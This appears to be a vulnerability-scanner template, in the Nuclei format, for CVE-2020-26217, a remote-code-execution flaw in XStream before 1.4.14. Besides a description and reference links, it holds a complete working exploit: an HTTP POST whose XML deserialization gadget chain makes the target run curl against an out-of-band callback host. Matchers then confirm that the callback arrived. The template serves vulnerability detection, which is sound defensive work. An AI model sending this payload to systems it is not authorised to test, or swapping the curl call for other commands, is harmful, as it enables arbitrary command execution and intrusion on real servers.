XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
PoC代码[已公开]
id: CVE-2020-26217
info:
name: XStream <1.4.14 - Remote Code Execution
author: pwnhxl,vicrack
severity: high
description: |
XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: Fixed in 1.4.14.
reference:
- https://x-stream.github.io/CVE-2020-26217.html
- https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a
- https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2
- https://nvd.nist.gov/vuln/detail/cve-2020-26217
- https://lists.apache.org/thread.html/r2de526726e7f4db4a7cb91b7355070779f51a84fd985c6529c2f4e9e@%3Cissues.activemq.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-26217
cwe-id: CWE-78
epss-score: 0.93566
epss-percentile: 0.99829
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve,cve2020,xstream,deserialization,rce,oast,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>curl</string>
<string>http://{{interactsh-url}}</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022071c5b7ea42af05cf1939dbe2960f4e731defffbee183a21992b9ed7c7373a2b5022100a4318a9cd6fbc4d46742afd500a902d69ac2cf9b24811f264ee70b15d223a2d2:922c64590222798bb761d5b6d8e72950